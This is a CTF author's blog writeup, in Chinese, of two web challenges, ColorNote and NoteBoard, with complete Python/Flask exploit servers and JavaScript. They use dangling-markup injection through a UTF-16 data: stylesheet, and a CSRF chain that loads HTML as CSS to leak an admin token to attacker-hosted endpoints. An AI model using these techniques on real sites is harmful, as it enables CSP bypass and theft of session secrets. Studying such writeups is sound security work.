文章

京麒CTF2026 Web 出题小记

这次出了ColorNote和NoteBoard两道题

依旧被非预期,,,

ColorNote本意是打悬空标记注入,使用utf-16编码绕过谷歌浏览器限制

但被CSSLeak给非预期了,在12s的bot窗口内按位泄露token,,,

下次应该把token改长一点(

以下是出题时写的WP:

ColorNote

目标是拿到 Admin Bot 的 token 然后访问 /redeem 兑换 flag

管理员每次访问选手链接前,都会创建一个临时账号,并初始化两条 note:

store.users.set(adminUsername, {
  password: token,
  themeId: theme.id,
  notes: [
    seedSecretNote(token),
    createNoteRecord("First Note", "Nothing Here"),
  ],
});

note 的正文 bodyHtml 会被原样渲染:

<div class="note-body"><%- note.bodyHtml || "" %></div>

但是 CSP 很严格,没法XSS:

const csp = [
  "default-src 'none'",
  "script-src 'none'",
  "style-src 'self' data:",
  "img-src * data:",
  "font-src 'none'",
  "connect-src 'none'",
  "frame-src 'none'",
  "object-src 'none'",
  "base-uri 'none'",
  "form-action 'self'",
].join("; ");

目前只有style-src 'self' data:以及img-src * data:有用

这里我们可以使用悬空标记注入来打

最经典的是插入一个故意不闭合的属性,比如:

<img src='http://attacker/?d=

直到遇到下一个单引号闭合,中间的内容均会被发送到攻击者的服务器,也就是:

<img src='http://attacker/?d=......后续HTML......'

然而 Chrome 在很早的版本中就有针对悬空标记注入的防御,会阻止 img 等标签定义包含尖括号和换行符等原始字符的 URL

但这个防御能被绕过。具体方案是,利用悬空 stylesheet,同时设置charset=utf-16使后续HTML内容以utf-16解释。这样在浏览器看起来,HTML内容就是乱码,而不会包含尖括号,换行符等内容。可用payload为

<link rel=stylesheet href='data:text/css;charset=utf-16,...

这样后续所有内容均会被以utf-16解释

然后加个CSS前缀,用background-image来leak后面的字符,注意这个CSS前缀需要以以utf-16编码

*{background-image:url(http://ATTACKER/leak?d=

然后利用编辑功能,修改token下方的note来闭合前面的单引号即可

参考EXP:

import re
from flask import Flask, Response, request

CHALL_ORIGIN = "http://localhost:3000"
PORT = 5000

app = Flask(__name__)

def decode_utf16_stream(encoded):
    remaining = encoded
    out = []
    while remaining:
        chunk = remaining[:9]
        if not re.fullmatch(r"(?:%[0-9a-fA-F]{2}){3}", chunk):
            break
        remaining = remaining[9:]
        parts = chunk.split("%")[1:]
        bits = ""
        for index, part in enumerate(parts):
            byte_bits = format(int(part, 16), "08b")
            bits += byte_bits[4:] if index == 0 else byte_bits[2:]
        out.append(chr(int(bits[8:], 2)))
        out.append(chr(int(bits[:8], 2)))
    return "".join(out)

def payload_for_leak(exfil_url):
    resource = f"*{{background-image:url({exfil_url}"
    encoded = "".join(f"{char}%00" for char in resource)
    return f"\x7f<link rel=stylesheet href='data:text/css;charset=utf-16,{encoded}"

@app.get("/exploit")
def exploit():
    public_origin = request.host_url.rstrip("/")
    payload = payload_for_leak(f"{public_origin}/leak?d=")
    return f"""<!doctype html>
<html>
<head>
  <meta charset="utf-8">
  <title>exploit</title>
</head>
<body>
  <script>
    const chall = {CHALL_ORIGIN!r};
    const popup = window.open("about:blank", "leakwin");

    const createForm = document.createElement("form");
    createForm.method = "POST";
    createForm.action = chall + "/notes/create";
    createForm.target = "leakwin";

    const editForm = document.createElement("form");
    editForm.method = "POST";
    editForm.action = chall + "/notes/2/edit";
    editForm.target = "leakwin";

    const createFields = {{
      title: "Scratch",
      bodyHtml: {payload!r}
    }};

    const editFields = {{
      title: "First Note",
      bodyHtml: "Nothing Here'"
    }};

    for (const [name, value] of Object.entries(createFields)) {{
      const input = document.createElement("input");
      input.type = "hidden";
      input.name = name;
      input.value = value;
      createForm.appendChild(input);
    }}

    for (const [name, value] of Object.entries(editFields)) {{
      const input = document.createElement("input");
      input.type = "hidden";
      input.name = name;
      input.value = value;
      editForm.appendChild(input);
    }}

    document.body.appendChild(createForm);
    document.body.appendChild(editForm);

    setTimeout(() => createForm.submit(), 100);
    setTimeout(() => editForm.submit(), 1500);
    setTimeout(() => {{
      if (popup) {{
        popup.location = chall + "/notes";
      }}
    }}, 3500);
  </script>
</body>
</html>"""

@app.get("/leak")
def leak():
    raw = request.query_string.decode("latin-1")
    hit = raw.split("d=", 1)[1] if "d=" in raw else ""
    decoded = decode_utf16_stream(hit)
    print(f"[leak] {decoded}", flush=True)

    m = re.search(r"<!--([0-9a-f]{32})-->", decoded, re.I)
    if m:
        token = m.group(1)
        print(f"[token] {token}", flush=True)
    else:
        print("[-] token not found in HTML comment", flush=True)

    return Response(status=204, headers={"Cache-Control": "no-store"})

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=PORT)

NoterBoard

题目是一个Note看板应用。每次运行 bot 都会创建一个临时管理员账号,登录后访问选手提交的链接

管理员初始化一个 board,内有三条记录:

function seedAdminBoard(token) {
  return createBoard("secret", "something important", [
    "here is the token",
    `token{${token}}`,
    "it can redeem flag",
  ]);
}

Token 可访问 /redeem并兑换 Flag,因此我们的目标是拿到 Token

首页 /boards 会为每个 board 生成摘要,摘要只取未完成记录的前 3 条,用 , 拼接,长度超过 420 会截断:

function buildDigest(board) {
  const digest = getVisibleEntries(board)
    .slice(0, 3)
    .map((entry) => entry.content.trim())
    .join(", ");

  return digest.length > 420 ? `${digest.slice(0, 420)}...` : digest;
}

预览接口 /boards/preview/:id/:pos 会直接返回记录原文:

router.get("/boards/preview/:id/:pos", requireLogin, (req, res) => {
  res.set("Content-Type", "text/html; charset=utf-8");

  return res.end(result.board.entries[pos].content);
});

有全站 CSP ,img-src 可用于泄露,但script-srcbase-uri等限制了XSS的可能

res.setHeader(
  "Content-Security-Policy",
  [
    "default-src 'self'",
    "img-src 'self' data: http: https:",
    `script-src 'nonce-${pageNonce}'`,
    `style-src 'self' 'nonce-${pageNonce}'`,
    "object-src 'none'",
    "base-uri 'none'",
  ].join("; ")
);

主要写操作都是 GET请求,因此可以通过顶级导航不断访问这些 GET 路由来达成CSRF

//例如:
router.get("/boards/create", requireLogin, handleCreateBoard);
router.get("/boards/:id/add", requireLogin, handleAddEntry);

在被限制了XSS,又没看到XSLeak端口的情况下,我们可以考虑CSS Leak

CSS Leak一般是将需要的文本放进某个CSS能够读取的属性值,再准备一组候选值去比较,命中则通过background等触发一条外带请求来实现,然而本题的 Token 并不在属性值里,因此需要找到一张办法,让 CSS 能够读取并比较

首先,尽管部分页面,例如首页/boards 会返回Content-Type: text/html; charset=utf-8,但是如果使用<link rel=stylesheet href=/boards>,将HTML作为stylesheet来引用并解析,浏览器并不会阻止

要让/boards作为CSS解析,我们需要在HTML中插入部分内容,HTML成为一个可解析的CSS

/boards的摘要功能便派上了用场,我们可以在一个board下新建一个Note并插入类似{}*{--x:的内容,这样会让 CSS 解析器忽略前面杂乱的HTML,开始将后续内容作为* 这个选择器的一个自定义属性 --x,也就是剩下的HTML内容:, 摘要1, 摘要2</pre></article>...</html>

然后我们只需要生成候选值并与自定义属性 --x的值进行比较。例如我们生成一组候选值,假设为--y,那么我们可以这样比较

@container style(--x: var(--y)) {
  body { background: url("http://ATTACKER/leak") }
}

当两组值相同,则会发起一个leak请求

这个方案要求我们能够预测 --x的内容,而刚好题目的摘要功能会有字符串截断,并使用...代替后续内容。也就是如果我们刚好控制token在我们需要的位置截断,那么就能进行预测了,此时HTML大致如下

{}*{--x:, token{y...</pre></article>...</html>

然后我们针对截断处的token生成多份候选值,通过前面的方式进行对比即可leak出一位token

题目仅允许加载同源 stylesheet ,只需要新开一个board,里面写上不同的候选值,在本题环境下大概如下

*{--y_0:, token{0...</pre>
      </article>
    
  </section>
</main>
</body>
</html>

然后通过一个CSS进行加载,我们记为query

@import url(/boards/preview/0/1);
@import url(/boards/preview/0/2);
...
@container style(--x: var(--y_0)) {
  body { background: url("http://ATTACKER/leak/token%7B0") }
}
@container style(--x: var(--y_1)) {
  body { background: url("http://ATTACKER/leak/token%7B1") }
}
...

然后插入一条note作为html读取

<!-- 将/boards作为CSS加载 -->
<link rel=stylesheet href=/boards>
<!-- 加载query样式 -->
<link rel=stylesheet href=/boards/preview/0/1>

接下来将思路落实即可

先新建一个 styles board ,新 board 会插到最前面,原 board 编号顺移,所以第 n 轮里 secret board 的编号是 n

每一轮在新的 styles board 里写入 19 条记录:

  1. 1 条 HTML loader

  2. 2 条 query 样式(单个 note 有上限,因此这里用两个 query )

  3. 16 条候选值,对应 0-9a-f

最终 styles board 的记录顺序如下:

0. loader
1. query_0
2. query_1
3. var_0
4. var_1
...
18. var_f

loader 还需要额外带一条 <meta http-equiv=refresh>,用来在一轮比较完成后回到攻击端,继续下一轮:

<meta http-equiv=refresh content="2;url=http://ATTACKER/exploit">
<link rel=stylesheet href=/boards>
<link rel=stylesheet href=/boards/preview/0/1>
<link rel=stylesheet href=/boards/preview/0/2>

然后把 styles board 里的 19 条记录全部标记为 done,确保摘要里不会出现这些样式内容

接着回到 secret board,在最前面插入一条占位记录:

aaaa....aaaa{}*{--x:

第一轮还需要额外访问一次:

/boards/1/toggle/1

here is the token 标记为完成,这样 secret board 当前可见的前三条记录就是:

占位, token{xxxxxxxxxxxx}, it can redeem flag

然后导航到 loader 里,便完成了整个 CSS Leak 的链路

参考EXP(服务器端):

import json, threading
from urllib.parse import quote, unquote
from flask import Flask, Response, jsonify

PORT = 8080
PUBLIC_ORIGIN = f"http://ip:{PORT}"
A = 300
S = 450
B = 350
R = 2
TAIL = "...</pre>\r\n      </article>\r\n    \r\n  </section>\r\n</main>\r\n</body>\r\n</html>"
app = Flask(__name__)
LOCK = threading.Lock()
LEAKED = "token{"
HITS = []

def snapshot():
    with LOCK:
        return {"leaked": LEAKED, "hits": list(HITS)}
    
def update(leaked):
    global LEAKED
    with LOCK:
        LEAKED = leaked
        HITS.append(leaked)
        
def reset_state():
    global LEAKED, HITS
    with LOCK:
        LEAKED, HITS = "token{", []
        
def chars(leaked): return "0123456789abcdef" if len(leaked) < 18 else "}" if len(leaked) == 18 else ""

def key(char): return "brace" if char == "}" else char

def style_entries(leaked):
    pool = list(chars(leaked))
    groups = [pool[i:i + 8] for i in range(0, len(pool), 8)]
    q = len(groups)
    out = []
    for gi, group in enumerate(groups):
        imports = "".join(
            f"@import url(/boards/preview/0/{1 + q + gi * 8 + off});"
            for off, _ in enumerate(group)
        )
        rules = "".join(
            f"@container style(--x: var(--y_{key(c)}))"
            f"{{body{{background:url(\"{PUBLIC_ORIGIN}/leak/{quote(leaked + c, safe='')}\")}}}}"
            for c in group
        )
        out.append(imports + rules)
    out.extend(f"*{{--y_{key(c)}:, {leaked}{c}{TAIL}" for c in pool)
    return out

def placeholder(leaked):
    return "a" * (420 - len(leaked) - 11) + "{}*{--x:"

def loader(q, leaked):
    target = f"{PUBLIC_ORIGIN}/exploit?state={quote(leaked, safe='')}"
    links = "<link rel=stylesheet href=/boards>" + "".join(f"<link rel=stylesheet href=/boards/preview/0/{i}>" for i in range(1, q + 1))
    return f"<meta http-equiv=refresh content=\"{R};url={target}\">{links}"

def page():
    leaked = snapshot()["leaked"]
    entries = style_entries(leaked)
    q = (len(chars(leaked)) + 7) // 8

    return Response(
        (
            "<!doctype html><meta charset=utf-8><title>x</title><script>"
            f"const C={json.dumps(leaked)},E={json.dumps(entries)},P={json.dumps(placeholder(leaked))},L={json.dumps(loader(q, leaked))};"
            f"const A={A},S={S},B={B};"
            "const T='http://localhost:3000',Z=ms=>new Promise(r=>setTimeout(r,ms));"
            "let w;const U=(p,o={})=>{const u=new URL(p,T);for(const[k,v]of Object.entries(o))u.searchParams.set(k,v);return u+''};"
            "const V=async u=>{(w&&!w.closed?w:w=window.open('about:blank','runner')).location=u;await Z(A)};"
            "onload=async()=>{if(C.endsWith('}')||C.length>19){document.body.textContent=C;return}"
            "await Z(B);const s=C.length-5;"
            "await V(U('/boards/create',{title:'styles',description:'same origin stylesheet'}));await Z(S);"
            "if(s>1){await V(U('/boards/'+s+'/delete/0'));await Z(S)}"
            "await V(U('/boards/'+s+'/add',{content:P}));await Z(S);"
            "for(let i=E.length-1;i>=0;i--)await V(U('/boards/0/add',{content:E[i]}));"
            "await V(U('/boards/0/add',{content:L}));await Z(S);"
            "for(let i=0;i<=E.length;i++)await V(U('/boards/0/toggle/'+i));"
            "await Z(S);if(s===1){await V(U('/boards/1/toggle/1'));await Z(S)}"
            "location=T+'/boards/preview/0/0'};"
            "</script>"
        ),
        mimetype="text/html",
    )

@app.after_request
def no_store(response):
    response.headers["Cache-Control"] = "no-store"
    return response

@app.get("/exploit")
def exploit():
    return page()

@app.get("/leak/<path:value>")
def leak(value):
    leaked = unquote(value)
    update(leaked)
    print(f"[leak] {leaked}", flush=True)
    return "ok"

if __name__ == "__main__":
    print(f"Exploit server listening on {PUBLIC_ORIGIN}", flush=True)
    app.run(host="0.0.0.0", port=PORT, debug=False, use_reloader=False)

许可协议:  CC BY 4.0